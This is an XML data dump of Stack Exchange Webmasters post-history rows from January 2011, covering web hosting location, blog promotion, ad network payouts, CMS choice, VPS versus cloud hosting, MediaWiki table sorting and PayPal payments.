  <row Id="17620" PostHistoryTypeId="2" PostId="8197" RevisionGUID="a3dcf312-7db7-4345-ba3d-fe97faa4a866" CreationDate="2011-01-24T21:09:18.097" UserId="138" Text="The Stack Exchange network (of which this site is a member of) [uses HTML5 for its authentication][1]. That's why you can visit any site in the network and once you've logged in manually at least once, [it will automagically log you in later][2].&#xD;&#xA;&#xD;&#xA;Try it out - if you have membership on more than one site (say, here and Stack Overflow), clear all your cookies and temporary files. Then log in here, and then go to Stack Overflow and don't log in. Give it a few seconds and it will automatically log you in, even though the domains are totally different.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://meta.stackoverflow.com/questions/64260/how-does-sos-new-auto-login-feature-work/64274#64274&#xD;&#xA;  [2]: http://blog.stackoverflow.com/2010/09/global-network-auto-login/" />
  <row Id="17621" PostHistoryTypeId="2" PostId="8198" RevisionGUID="61da1463-9f30-4820-964d-52c091aacb2e" CreationDate="2011-01-24T21:13:36.907" UserId="4487" Text="I am located in the UK, and most of my client's are also in the UK, however I find some of the products available in the US to be easier to use, I won't name specific companies, but the pricepoint and features attract me the most.&#xD;&#xA;&#xD;&#xA;Does it matter if the websites are located in the USA? I understand that when pinging my existing sites, there are around 7-8 more hops involved. All my sites use CMS's, so they aren't as fast as static sites (even with cacheing turned on).&#xD;&#xA;&#xD;&#xA;Would hosting the site abroad as well ad using a CDN make any difference?&#xD;&#xA;&#xD;&#xA; " />
  <row Id="17622" PostHistoryTypeId="1" PostId="8198" RevisionGUID="61da1463-9f30-4820-964d-52c091aacb2e" CreationDate="2011-01-24T21:13:36.907" UserId="4487" Text="Does it matter where a server's physical location is?" />
  <row Id="17623" PostHistoryTypeId="3" PostId="8198" RevisionGUID="61da1463-9f30-4820-964d-52c091aacb2e" CreationDate="2011-01-24T21:13:36.907" UserId="4487" Text="&lt;web-hosting&gt;&lt;server&gt;&lt;cdn&gt;" />
  <row Id="17624" PostHistoryTypeId="2" PostId="8199" RevisionGUID="292f2f6e-bb1a-4c58-8e65-b08a378fe4b2" CreationDate="2011-01-24T21:16:00.477" UserId="4833" Text="I'm doing a similar thing, hosting a site in the US whereas most of my users are in the UK. I use CDN for the jquery file and everything is running very smoothly. The users don't notice any speed difference." />
  <row Id="17625" PostHistoryTypeId="2" PostId="8200" RevisionGUID="648362fd-0b05-44ee-90e1-b1525acceb86" CreationDate="2011-01-24T21:19:42.530" UserId="4833" Text="One good tip is start using Twitter and other social medias. Also, be active on other forums with links to the blog in your signature." />
  <row Id="17626" PostHistoryTypeId="2" PostId="8201" RevisionGUID="5affbb38-8753-4ac5-8206-509b79fce3f1" CreationDate="2011-01-24T21:21:19.870" UserId="2629" Text="Paid:&#xD;&#xA;&#xD;&#xA;At the beginning, google AdWords might be a good choice, you will have to actively optimize and update all your campaigns. Try to be very specific so you don't compete with the big guns.&#xD;&#xA;&#xD;&#xA;Specifically I would recommend [Google's display network][1] on specific programming related sites in which your potencial readers might be.&#xD;&#xA;&#xD;&#xA;You should use this option carefully though if your not familiar with it.&#xD;&#xA;&#xD;&#xA;Free (but time consuming and should be done anyway if AdWords is there):&#xD;&#xA;&#xD;&#xA;Write fresh original content and promote it will all available **GOOD** SEO techniques.&#xD;&#xA;&#xD;&#xA;[Here is a nice staring point.][2]&#xD;&#xA;&#xD;&#xA;Make sure, specially at the beginning to make full use of the social networks, ask your friends and co-workers (specially if you work as a programmer) to promote your blog.&#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/adwords/displaynetwork/&#xD;&#xA;  [2]: http://www.seobook.com/archives/001792.shtml" />
  <row Id="17627" PostHistoryTypeId="2" PostId="8202" RevisionGUID="fa772bbb-e9d8-4243-9c24-503a4e7c736a" CreationDate="2011-01-24T21:25:08.730" UserId="4672" Text="The best way to promote your blog is not so much promoting the blog itself, but the information contained within it.  By this I mean, if you write an article about how to solve a common programming problem, then do a search for people who are having that problem.  Then provide them with a link to your solution.&#xD;&#xA;&#xD;&#xA;People are interested in the solutions to their problems, and programming blogs get interesting when the blogger continues to post solutions to problems they are facing.  I follow css-tricks.com for this very reason.  It gives solutions to problems I face as a web developer.&#xD;&#xA;&#xD;&#xA;Also, by searching out problems on forums (or web sites such as this) and providing your relevant links, your google ranking is going to go up since you have other web sites leading to yours.&#xD;&#xA;&#xD;&#xA;Beware however!  Try not to spam your links around.  Make sure you are linking to relevant information that is helpful to those who are seeking a solution to a problem." />
  <row Id="17628" PostHistoryTypeId="2" PostId="8203" RevisionGUID="cc560d6e-24ab-4eb5-8f50-680daae1cb09" CreationDate="2011-01-24T21:34:27.293" UserId="4311" Text="If your clients are handling any personal data, it's probably illegal for them to move it out of the EU. " />
  <row Id="17629" PostHistoryTypeId="2" PostId="8204" RevisionGUID="ac950f83-46da-4b4a-bc09-a2f975ea4e2a" CreationDate="2011-01-24T22:07:36.477" UserId="4867" Text="I remember a site (the design is a dark color scheme, Helvetica Neue type and purple accents if I recall correctly) that would put designers and developers together for specific projects.&#xD;&#xA;&#xD;&#xA;Anyone have any idea what site I'm talking about?" />
  <row Id="17630" PostHistoryTypeId="1" PostId="8204" RevisionGUID="ac950f83-46da-4b4a-bc09-a2f975ea4e2a" CreationDate="2011-01-24T22:07:36.477" UserId="4867" Text="There's a site that puts designers and developers together, what is it?" />
  <row Id="17631" PostHistoryTypeId="3" PostId="8204" RevisionGUID="ac950f83-46da-4b4a-bc09-a2f975ea4e2a" CreationDate="2011-01-24T22:07:36.477" UserId="4867" Text="&lt;design&gt;&lt;development&gt;" />
  <row Id="17632" PostHistoryTypeId="2" PostId="8205" RevisionGUID="23d89a5a-ee0a-4b23-bff0-2ea84c018d5d" CreationDate="2011-01-24T22:10:45.537" UserId="4867" Text="Found the answer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;http://builditwith.me/&#xD;&#xA;" />
  <row Id="17633" PostHistoryTypeId="25" PostId="8189" RevisionGUID="a1aeb198-c962-4744-b511-2c6dab196cd4" CreationDate="2011-01-24T22:55:49.477" Comment="http://twitter.com/#!/StackWebmasters/status/29673755584237568" />
  <row Id="17634" PostHistoryTypeId="2" PostId="8206" RevisionGUID="8f8df956-b0ce-4ad4-b089-80b1622c4600" CreationDate="2011-01-24T22:56:26.027" UserDisplayName="angelo" Text="How do you start an on-line community QA site similar to stackoverflow?" />
  <row Id="17635" PostHistoryTypeId="1" PostId="8206" RevisionGUID="8f8df956-b0ce-4ad4-b089-80b1622c4600" CreationDate="2011-01-24T22:56:26.027" UserDisplayName="angelo" Text="How do you start an on-line community?" />
  <row Id="17636" PostHistoryTypeId="3" PostId="8206" RevisionGUID="8f8df956-b0ce-4ad4-b089-80b1622c4600" CreationDate="2011-01-24T22:56:26.027" UserDisplayName="angelo" Text="&lt;untagged&gt;" />
  <row Id="17637" PostHistoryTypeId="17" PostId="8206" RevisionGUID="9007a42a-554d-4127-9dd4-eafdc3e6c130" CreationDate="2011-01-24T23:00:12.510" UserId="-1" Comment="from http://stackoverflow.com/questions/4788172/how-do-you-start-an-on-line-community" Text="" />
  <row Id="17638" PostHistoryTypeId="2" PostId="8207" RevisionGUID="430a185c-f059-4315-b461-c4914ff855a1" CreationDate="2011-01-24T23:42:23.277" UserId="4869" Text="If you have web development skills you could try building your own.  But for a pre-built script check out some of the clones mentioned here. http://meta.stackoverflow.com/questions/2267/stack-overflow-clones" />
  <row Id="17639" PostHistoryTypeId="2" PostId="8208" RevisionGUID="4a815c89-55c1-40c8-ace7-29220cac798b" CreationDate="2011-01-25T00:09:42.703" UserDisplayName="user4871" Text="The main issues would be the legislations. The data and websites hosted in the USA got to abide by USA laws. Also I agree with Mike Scott; Some companies might have existing agreements with their clients about handing personal information, which moving outside of the EU will be illegal." />
  <row Id="17640" PostHistoryTypeId="2" PostId="8209" RevisionGUID="35959404-5b08-4614-9b18-3a54a45119d3" CreationDate="2011-01-25T00:58:49.613" UserId="4335" Text="Does adBrite give you any money for clicks? I'm only getting a few visitors per day, but they are clicking on ads apparently. My earnings are very low.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;-Laxmidi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17641" PostHistoryTypeId="1" PostId="8209" RevisionGUID="35959404-5b08-4614-9b18-3a54a45119d3" CreationDate="2011-01-25T00:58:49.613" UserId="4335" Text="Does AdBrite Pay per CPM Only or Do You Get Money For Clicks as Well?" />
  <row Id="17642" PostHistoryTypeId="3" PostId="8209" RevisionGUID="35959404-5b08-4614-9b18-3a54a45119d3" CreationDate="2011-01-25T00:58:49.613" UserId="4335" Text="&lt;advertising&gt;" />
  <row Id="17643" PostHistoryTypeId="12" PostId="8209" RevisionGUID="b3328cdd-247f-43db-b804-5b3efc2fc9b8" CreationDate="2011-01-25T01:02:11.370" UserId="4335" Text="[{&quot;Id&quot;:4335,&quot;DisplayName&quot;:&quot;Laxmidi&quot;}]" />
  <row Id="17644" PostHistoryTypeId="13" PostId="8209" RevisionGUID="5c381bce-9a83-4efa-a3dc-15fc9d982935" CreationDate="2011-01-25T01:02:15.350" UserId="4335" Text="[{&quot;Id&quot;:4335,&quot;DisplayName&quot;:&quot;Laxmidi&quot;}]" />
  <row Id="17645" PostHistoryTypeId="25" PostId="8206" RevisionGUID="377dab4e-3a1c-4417-a48d-92902858c47e" CreationDate="2011-01-25T01:55:49.667" Comment="http://twitter.com/#!/StackWebmasters/status/29719055376060416" />
  <row Id="17646" PostHistoryTypeId="2" PostId="8210" RevisionGUID="ed275f91-dd67-4e8f-88f3-735744d2a892" CreationDate="2011-01-25T02:30:19.433" UserId="4874" Text="My client needs a site customers can use to pay the membership fees and join. It should also track when old members need to pay again. There are some members that will not want to pay online and they want to be able to use the site to manage all payments. The CMS must be cheap to host online, potentially with something like GitHub/Heroku.&#xD;&#xA;&#xD;&#xA;I am experienced with PHP and RoR. I am using a CMS so once I am done with this project it is easy for them to update. &#xD;&#xA;&#xD;&#xA;After reading through different posts I think WordPress with an e-commerce Plugin may be the right solution. Spree and WebGUI also looks promising. Thanks for the help." />
  <row Id="17647" PostHistoryTypeId="1" PostId="8210" RevisionGUID="ed275f91-dd67-4e8f-88f3-735744d2a892" CreationDate="2011-01-25T02:30:19.433" UserId="4874" Text="What is the best and cheapest CMS for an E-Commerce site?" />
  <row Id="17648" PostHistoryTypeId="3" PostId="8210" RevisionGUID="ed275f91-dd67-4e8f-88f3-735744d2a892" CreationDate="2011-01-25T02:30:19.433" UserId="4874" Text="&lt;php&gt;&lt;wordpress&gt;&lt;cms&gt;&lt;drupal&gt;&lt;ruby-on-rails&gt;" />
  <row Id="17649" PostHistoryTypeId="2" PostId="8211" RevisionGUID="341e406e-d2f1-4435-bf8c-1522a1b43585" CreationDate="2011-01-25T02:53:05.717" UserId="4877" Text="The correct(est) answer is _gaq.push(['_setDomainName', 'none']);  (http://code.google.com/apis/analytics/docs/gaJS/gaJSApiDomainDirectory.html#_gat.GA_Tracker_._setDomainName).&#xD;&#xA;&#xD;&#xA;In my tests, explicitly setting a domain WITHOUT a sub-domain (e.g., example.com instead of www.example.com) still resulting in cookies being sent to sub.example.com. Setting the domain name to 'none' solved this." />
  <row Id="17650" PostHistoryTypeId="2" PostId="8212" RevisionGUID="4cf32bc4-d874-48d3-b712-11dbfac40a0c" CreationDate="2011-01-25T04:27:52.903" UserId="3656" Text="I have a website on shared server, which is been suspended , due to high traffic,&#xD;&#xA;Now I am planning some thing higher then shared server,&#xD;&#xA;I have never used or configure VPS.&#xD;&#xA;And after hearing about cloud servers performance and the cheap rates,&#xD;&#xA;I am confuse between them,&#xD;&#xA;&#xD;&#xA;Should I go with Cloud Server or VPS?&#xD;&#xA;&#xD;&#xA;I will be hosting a single wordpress site which will be having 500-1000 visitors per day,&#xD;&#xA;&#xD;&#xA;One more thing, I have never configured a VPS or Cloud, so is it difficult to configure them and what OS in Linux, I have to select?&#xD;&#xA;&#xD;&#xA;And is their any website for configuring a cloud server tutorial or something in basic to understand?" />
  <row Id="17651" PostHistoryTypeId="1" PostId="8212" RevisionGUID="4cf32bc4-d874-48d3-b712-11dbfac40a0c" CreationDate="2011-01-25T04:27:52.903" UserId="3656" Text="Cloud server or VPS server" />
  <row Id="17652" PostHistoryTypeId="3" PostId="8212" RevisionGUID="4cf32bc4-d874-48d3-b712-11dbfac40a0c" CreationDate="2011-01-25T04:27:52.903" UserId="3656" Text="&lt;cloud-hosting&gt;" />
  <row Id="17653" PostHistoryTypeId="25" PostId="8204" RevisionGUID="476c40e7-8fd4-44df-bec1-a1d8e0d292c9" CreationDate="2011-01-25T04:55:49.740" Comment="http://twitter.com/#!/StackWebmasters/status/29764354383548416" />
  <row Id="17654" PostHistoryTypeId="2" PostId="8213" RevisionGUID="a170344a-b1b9-4a93-8ef1-a0a8d5f19dc3" CreationDate="2011-01-25T05:31:00.440" UserId="4879" Text="Yeah, in fact, I did it a long time ago... 2-3 years ago, I'd guess.  I made a web site that basically allows people to move stuff around on a floor plan to see if their furniture fits.  It was done with JavaScript, but the problem was that JavaScript didn't have a very good way to rotate the furniture.&#xD;&#xA;&#xD;&#xA;Back when IE didn't support the canvas tag, this meant using an image for 0,5,10... 90 -degree turns, and then I'd rotate those images by 0, 90, 180, or 270 degrees in order to achieve the desired rotation.  Not only was it annoying to create, but it was quite slow in its execution.  FF, which supported the canvas tag, could rotate the furniture pretty much in real-time, but IE's rotation of it was pretty terrible.  IE took somewhere between 0.75 and 1.00 seconds to respond, and doing it at 5-degree increments was terribly annoying." />
  <row Id="17658" PostHistoryTypeId="2" PostId="8215" RevisionGUID="01e2585d-a3a1-4333-b7fd-998bd95ae9a5" CreationDate="2011-01-25T06:18:40.043" UserId="1064" Text="&gt; How do you start an on-line community&#xD;&#xA;&gt; QA site similar to stackoverflow?&#xD;&#xA;&#xD;&#xA;This question was answered recently by Joel Spolsky:&#xD;&#xA;&#xD;&#xA;&gt; We learned a long time ago that the&#xD;&#xA;&gt; only way to get questions answered&#xD;&#xA;&gt; promptly is to have a critical mass of&#xD;&#xA;&gt; knowledgeable users, so we have an&#xD;&#xA;&gt; onerous process called Area 51 where&#xD;&#xA;&gt; sites are proposed, discussed, and&#xD;&#xA;&gt; voted on. If a proposed site doesn’t&#xD;&#xA;&gt; have critical mass, we just won’t&#xD;&#xA;&gt; create it.&#xD;&#xA;&#xD;&#xA;[Stack Overflow 2010 Recap][1]&#xD;&#xA;&#xD;&#xA;If you're interested in starting up a similar venture, you'll find plenty of good advice and ideas at [StackOverflow Meta][2] and at [Joel's blog][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.joelonsoftware.com/items/2011/01/24.html&#xD;&#xA;  [2]: http://meta.stackoverflow.com/&#xD;&#xA;  [3]: http://www.joelonsoftware.com/" />
  <row Id="17659" PostHistoryTypeId="2" PostId="8216" RevisionGUID="e5142ac7-1066-4693-8898-acb80b9b96a6" CreationDate="2011-01-25T06:36:57.857" UserId="4879" Text="If a programmer did a couple of projects a year and showed everything (i.e. a 30-min presentation on the purpose, structure, and logic of of the project, and then recorded video of all of the programming, which had some verbal explanation, etc.,) and did so in a decent resolution and compression, I'd bookmark his page.  In fact, a lot of people would.  When you simply make a blog about programming, and you write on an advanced level, the noobs don't understand it, and the experts don't care to read it because they most likely already know it.&#xD;&#xA;&#xD;&#xA;Of course, this would require the use of YouTube to host that amount of video, but that's just more free advertising." />
  <row Id="17663" PostHistoryTypeId="5" PostId="8216" RevisionGUID="4926d9eb-c2d6-45e4-95bd-9d159ae490a1" CreationDate="2011-01-25T06:45:13.107" UserId="4879" Comment="added 211 characters in body; added 68 characters in body" Text="If a programmer did a couple of projects a year and showed everything (i.e. a 30-min presentation on the purpose, structure, and logic of of the project, and then recorded video of all of the programming, which had some verbal explanation, etc.,) and did so in a decent resolution and compression, I'd bookmark his page.  In fact, a lot of people would.  When you make a blog about programming, and you write on an advanced level, the noobs don't understand it, and the experts don't care to read it because they most likely already know it... or because they have their own stuff to do and can't be bothered.  People want to visit programming blogs to learn something, not to read how many acronyms someone can fit in a sentence when describing a problem that nobody knows anything about, on a project that nobody understands.&#xD;&#xA;&#xD;&#xA;Of course, this would require the use of YouTube to host that amount of video, but that's just more free advertising." />
  <row Id="17664" PostHistoryTypeId="5" PostId="8213" RevisionGUID="e36c73fd-e875-430f-a755-fa0dd3eb6f0e" CreationDate="2011-01-25T06:49:39.547" UserId="4879" Comment="added 18 characters in body" Text="Yeah, in fact, I did it a long time ago... 2-3 years ago, I'd guess.  I made a web site that basically allows people to move stuff around on a floor plan to see if their furniture fits.  It was done with JavaScript, but the problem was that JavaScript didn't have a very good way to rotate the furniture.&#xD;&#xA;&#xD;&#xA;Back when IE didn't support the canvas tag, this meant using a different image for 0,5,10...85 -degree turns, and then I'd rotate those images by 0, 90, 180, or 270 degrees in order to cover rotations from 90 to 355 degrees.  Not only was it annoying to create, but it was quite slow in its execution.  FF, which supported the canvas tag, could rotate the furniture pretty much in real-time, but IE's rotation of it was pretty terrible.  IE took somewhere between 0.75 and 1.00 seconds to respond, and doing it at 5-degree increments was terribly annoying." />
  <row Id="17665" PostHistoryTypeId="5" PostId="8216" RevisionGUID="ddb45586-896f-475f-b6c5-f0e57d19043a" CreationDate="2011-01-25T06:55:49.073" UserId="4879" Comment="added 200 characters in body" Text="If a programmer did a couple of projects a year and showed everything (i.e. a 30-min presentation on the purpose, structure, and logic of of the project, and then recorded video of all of the programming, which had some verbal explanation, etc.,) and did so in a decent resolution and compression, I'd bookmark his page.  In fact, a lot of people would.  When you make a blog about programming, and you write on an advanced level, the noobs don't understand it, and the experts don't care to read it because they most likely already know it... or because they have their own stuff to do and can't be bothered.  People want to visit programming blogs to learn something, not to read how many acronyms someone can fit in a sentence when describing a problem that nobody knows anything about, on a project that nobody understands.&#xD;&#xA;&#xD;&#xA;Of course, this would require the use of YouTube to host that amount of video, but that's just more free advertising.&#xD;&#xA;&#xD;&#xA;Bottom line is that getting people to visit your site once or twice might take advertising, but getting them to visit it dozens or hundreds of times requires that you have something to offer them." />
  <row Id="17669" PostHistoryTypeId="2" PostId="8219" RevisionGUID="140d0173-36b1-4586-93e6-f3177a0859d6" CreationDate="2011-01-25T07:59:53.443" UserId="4883" Text="You are payed per:&#xD;&#xA;&#xD;&#xA;&gt; **Ad zone views**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Ad zone views refer to the amount of&#xD;&#xA;&gt; times a particular ad zone has been&#xD;&#xA;&gt; shown to a user.&#xD;&#xA;&gt; &#xD;&#xA;&gt; For example: If you have placed two ad&#xD;&#xA;&gt; zones on a single page, each zone&#xD;&#xA;&gt; showing 5 ads, then loading that page&#xD;&#xA;&gt; will count as two ad zone views.&#xD;&#xA;&#xD;&#xA;And per:&#xD;&#xA;&#xD;&#xA;&gt; **Clicks**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Clicks refer to the number of times a&#xD;&#xA;&gt; banner or text ad has been clicked on&#xD;&#xA;&gt; your site.&#xD;&#xA;&#xD;&#xA;To really earn money you need really high numbers, that means hundreds, thousands of users per day.&#xD;&#xA;&#xD;&#xA;Not only adBrite, but any Advertisement out there pays proportionally to the traffic of the publisher.&#xD;&#xA;&#xD;&#xA;Be aware to don't generate clicks! In the past I thought to be smarter then the engineers working for an Ads company and I've been kicked out forever (still lucky they didn't reported me to authorities).&#xD;&#xA;&#xD;&#xA;Raise up your visibility on the web it's an hard job indeed, but it's possible, some advises:&#xD;&#xA;&#xD;&#xA; 1. Write good content (means interesting)&#xD;&#xA; 2. Advertise it (mail/forum signatures, twitter, face(ass)book, comments)&#xD;&#xA; 3. User rewards (like top 10 comments of the Month, money[why not?], ... )&#xD;&#xA; 4. Affiliation (newsletter, services, ... )&#xD;&#xA;&#xD;&#xA;... And several others." />
  <row Id="17670" PostHistoryTypeId="5" PostId="8219" RevisionGUID="cf2b1fa4-e5c2-4518-8d42-1fad621a6691" CreationDate="2011-01-25T08:08:00.453" UserId="4883" Comment="added 418 characters in body" Text="You are payed per:&#xD;&#xA;&#xD;&#xA;&gt; **Ad zone views**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Ad zone views refer to the amount of&#xD;&#xA;&gt; times a particular ad zone has been&#xD;&#xA;&gt; shown to a user.&#xD;&#xA;&gt; &#xD;&#xA;&gt; For example: If you have placed two ad&#xD;&#xA;&gt; zones on a single page, each zone&#xD;&#xA;&gt; showing 5 ads, then loading that page&#xD;&#xA;&gt; will count as two ad zone views.&#xD;&#xA;&#xD;&#xA;And per:&#xD;&#xA;&#xD;&#xA;&gt; **Clicks**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Clicks refer to the number of times a&#xD;&#xA;&gt; banner or text ad has been clicked on&#xD;&#xA;&gt; your site.&#xD;&#xA;&#xD;&#xA;To really earn money you need really high numbers, that means hundreds, thousands of users per day.&#xD;&#xA;&#xD;&#xA;Not only adBrite, but any Advertisement out there pays proportionally to the traffic of the publisher.&#xD;&#xA;&#xD;&#xA;Be aware to don't generate clicks! In the past I thought to be smarter then the engineers working for an Ads company and I've been kicked out forever (still lucky they didn't reported me to authorities).&#xD;&#xA;&#xD;&#xA;Raise up your visibility on the web it's an hard job indeed, but it's possible, some advises:&#xD;&#xA;&#xD;&#xA; 1. Write good content (means interesting)&#xD;&#xA; 2. Advertise it (mail/forum signatures, twitter, face(ass)book, comments)&#xD;&#xA; 3. User rewards (like top 10 comments of the Month, money[why not?], ... )&#xD;&#xA; 4. Affiliation (newsletter, services, ... )&#xD;&#xA;&#xD;&#xA;... And several others.&#xD;&#xA;&#xD;&#xA;To quote [Xand0r][1] in another [answer][2]:&#xD;&#xA;&#xD;&#xA;&gt; Beware however! Try not to spam your&#xD;&#xA;&gt; links around. Make sure you are&#xD;&#xA;&gt; linking to relevant information that&#xD;&#xA;&gt; is helpful to those who are seeking a&#xD;&#xA;&gt; solution to a problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/users/4672/xand0r&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/8189/what-is-the-best-way-to-promote-a-programming-blog/8202#8202" />
  <row Id="17671" PostHistoryTypeId="5" PostId="8219" RevisionGUID="284ccb78-d432-4d7a-b5c2-6cd3e3d15858" CreationDate="2011-01-25T08:18:20.253" UserId="4883" Comment="added 88 characters in body" Text="You are payed per:&#xD;&#xA;&#xD;&#xA;&gt; **Ad zone views**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Ad zone views refer to the amount of&#xD;&#xA;&gt; times a particular ad zone has been&#xD;&#xA;&gt; shown to a user.&#xD;&#xA;&gt; &#xD;&#xA;&gt; For example: If you have placed two ad&#xD;&#xA;&gt; zones on a single page, each zone&#xD;&#xA;&gt; showing 5 ads, then loading that page&#xD;&#xA;&gt; will count as two ad zone views.&#xD;&#xA;&#xD;&#xA;And per:&#xD;&#xA;&#xD;&#xA;&gt; **Clicks**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Clicks refer to the number of times a&#xD;&#xA;&gt; banner or text ad has been clicked on&#xD;&#xA;&gt; your site.&#xD;&#xA;&#xD;&#xA;To really earn money you need really high numbers, that means hundreds, thousands of users per day.&#xD;&#xA;&#xD;&#xA;Not only adBrite, but any Advertisement out there pays proportionally to the traffic of the publisher.&#xD;&#xA;&#xD;&#xA;Be aware to don't generate clicks! In the past I thought to be smarter then the engineers working for an Ads company and I've been kicked out forever (still lucky they didn't reported me to authorities).&#xD;&#xA;&#xD;&#xA;Raise up your visibility on the web it's an hard job indeed, but it's possible, some advises:&#xD;&#xA;&#xD;&#xA; 1. Write good content (means interesting)&#xD;&#xA; 2. Advertise it (mail/forum signatures, twitter, face(ass)book, comments)&#xD;&#xA; 3. User rewards (like top 10 comments of the Month, money[why not?], ... )&#xD;&#xA; 4. Affiliation (newsletter, services, ... )&#xD;&#xA;&#xD;&#xA;... And several others.&#xD;&#xA;&#xD;&#xA;Remember to search for people who have the kind of problems you are trying to solve.&#xD;&#xA;&#xD;&#xA;To quote [Xand0r][1] in another [answer][2]:&#xD;&#xA;&#xD;&#xA;&gt; Beware however! Try not to spam your&#xD;&#xA;&gt; links around. Make sure you are&#xD;&#xA;&gt; linking to relevant information that&#xD;&#xA;&gt; is helpful to those who are seeking a&#xD;&#xA;&gt; solution to a problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/users/4672/xand0r&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/8189/what-is-the-best-way-to-promote-a-programming-blog/8202#8202" />
  <row Id="17672" PostHistoryTypeId="2" PostId="8220" RevisionGUID="4ec01665-4894-4639-ab3e-dc897caf73d9" CreationDate="2011-01-24T16:07:14.883" UserId="4304" Text="Anyone able to help me with MediaWiki Tables?&#xD;&#xA;&#xD;&#xA;I've created a table in my companies Wiki (using mediawiki 1.13.4) which I can't for the life of me get to sort correctly. It will sort on the first two columns, but any column after that the sort doesn't happen.&#xD;&#xA;&#xD;&#xA;Here's the Wiki Markup i'm using (note I'm using templates to make it easier for others to help me maintain the table)&#xD;&#xA;&#xD;&#xA;The table itself (with only one item shown for brevity in the question)&#xD;&#xA;&#xD;&#xA;    {| border=&quot;1&quot; class=&quot;wikitable sortable&quot; style=&quot;text-align:center;&quot;&#xD;&#xA;    enter code here|+'''PTFS Europe Hosted Servers'''&#xD;&#xA;    |-&#xD;&#xA;    !rowspan=&quot;2&quot; scope=&quot;col&quot; width=&quot;150px&quot;|Customer&#xD;&#xA;    !rowspan=&quot;2&quot; scope=&quot;col&quot; width=&quot;100px&quot;|IP&#xD;&#xA;    !rowspan=&quot;2&quot; scope=&quot;col&quot; width=&quot;100px&quot;|Usage&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;100px&quot;|Type&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;100px&quot;|Details&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;80px&quot;|Renewal&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;80px&quot;|Cost&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;80px&quot;|Renewal&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;80px&quot;|Value&#xD;&#xA;    !rowspan=&quot;2&quot; scope=&quot;col&quot; class=&quot;unsortable&quot;|Notes&#xD;&#xA;    |- class=&quot;unsortable&quot;&#xD;&#xA;    !colspan=&quot;4&quot;|Hosting&#xD;&#xA;    !colspan=&quot;2&quot;|Maintanence&#xD;&#xA;    |-&#xD;&#xA;    {{server_item&#xD;&#xA;    |name=[http://abcd.abcd-abcd.eu Customer 1]&#xD;&#xA;    |ip=[[XXX.XXX.XXX.XXX]]&#xD;&#xA;    |usage=Stuff&#xD;&#xA;    |htype=Semi Dedicated &#xD;&#xA;    |hdetail=Linux&#xD;&#xA;    |hrenewal=XXXX-XX-XX&#xD;&#xA;    |hcost=£XXX.XX&#xD;&#xA;    |mrenewal=XXXX-XX-XX&#xD;&#xA;    |mvalue=£X,XXX.XX&#xD;&#xA;    |notes=Bi-Annual Support&#xD;&#xA;    }}&#xD;&#xA;&#xD;&#xA;and the template I've created to use to help fill the table.&#xD;&#xA;&#xD;&#xA;    |- class=&quot;sortbottom&quot;&#xD;&#xA;    | {{{name}}} || {{{ip}}} || {{{usage}}} || {{{htype}}} || {{{hdetail}}} || {{{hrenewal}}} || {{{hcost}}} || {{{mrenewal}}} || {{{mvalue}}} || {{{notes}}}&#xD;&#xA;&#xD;&#xA;Can't quite see what I'm missing... probably a case of can't see the wood for the trees..&#xD;&#xA;" />
  <row Id="17673" PostHistoryTypeId="1" PostId="8220" RevisionGUID="4ec01665-4894-4639-ab3e-dc897caf73d9" CreationDate="2011-01-24T16:07:14.883" UserId="4304" Text="How can I make my MediaWiki Table Sortable again?" />
  <row Id="17674" PostHistoryTypeId="3" PostId="8220" RevisionGUID="4ec01665-4894-4639-ab3e-dc897caf73d9" CreationDate="2011-01-24T16:07:14.883" UserId="4304" Text="&lt;mediawiki&gt;" />
  <row Id="17675" PostHistoryTypeId="17" PostId="8220" RevisionGUID="cab8fc5f-ee83-4871-ae57-bbb2043bba93" CreationDate="2011-01-25T08:57:22.810" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/11620/how-can-i-make-my-mediawiki-table-sortable-again" Text="" />
  <row Id="17676" PostHistoryTypeId="2" PostId="8221" RevisionGUID="09e3bf7d-ae92-4649-81b3-dd92a34ca7e4" CreationDate="2011-01-25T09:00:50.840" UserId="1685" Text="I have a realty website that needs a payment gateway for their property reservation. The reservation fee range from $500-$600 and about 5-6 people per month. I was wondering if Paypal is the best solution for accepting Payment. What will be the Pros and Cons using Paypal, and how much would I'd be paying Paypal.&#xD;&#xA;&#xD;&#xA;Paypal was my first choice because It's easy to integrate on my existing website and I wouldn't be minding so much on the security. &#xD;&#xA;&#xD;&#xA;P.S.&#xD;&#xA;It's not a part of the question, But If you can site some realty website that accept payment and would be a good inspiration. It would be highly appreciated.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="17677" PostHistoryTypeId="1" PostId="8221" RevisionGUID="09e3bf7d-ae92-4649-81b3-dd92a34ca7e4" CreationDate="2011-01-25T09:00:50.840" UserId="1685" Text="Is Paypal the best solution for payment gateway for a website? " />
  <row Id="17678" PostHistoryTypeId="3" PostId="8221" RevisionGUID="09e3bf7d-ae92-4649-81b3-dd92a34ca7e4" CreationDate="2011-01-25T09:00:50.840" UserId="1685" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;paypal&gt;" />
